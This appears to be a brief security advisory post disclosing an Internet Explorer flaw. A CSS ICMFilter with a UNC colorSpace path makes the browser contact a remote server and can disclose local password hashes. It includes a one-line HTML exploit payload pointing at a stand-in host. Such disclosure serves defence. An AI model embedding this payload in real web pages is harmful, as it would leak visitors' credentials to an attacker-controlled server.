Internet Explorer is vulnerable to a drive-by arbitrary UNC file read, with the usual consequences (local account password disclosure, etc.) as in IE6 before SP1. It is in ICMFilter, which is accessible via the CSS filter property. Sample exploit code: <div style="-ms-filter:"progid:DXImageTransform.Microsoft.ICMFilter(colorSpace= '\\\\example.com\\test') "">ICMFilter</div> IE attempts to contact the remote server when the element is scrolled into view. The consequences of this are discussed in the context of previous vulnerabilities at: http://archives.neohapsis.com/archives/win2ksecadvice/2000-q1/0201.html I have not checked the ICM file parser for further escalation, but I think that the risk of disclosure of weak local passwords is sufficient to warrant concern. I contacted Microsoft and someone named Tony informed me that it's a bug, not a security vulnerability, whatever that means. -- Tim Starling
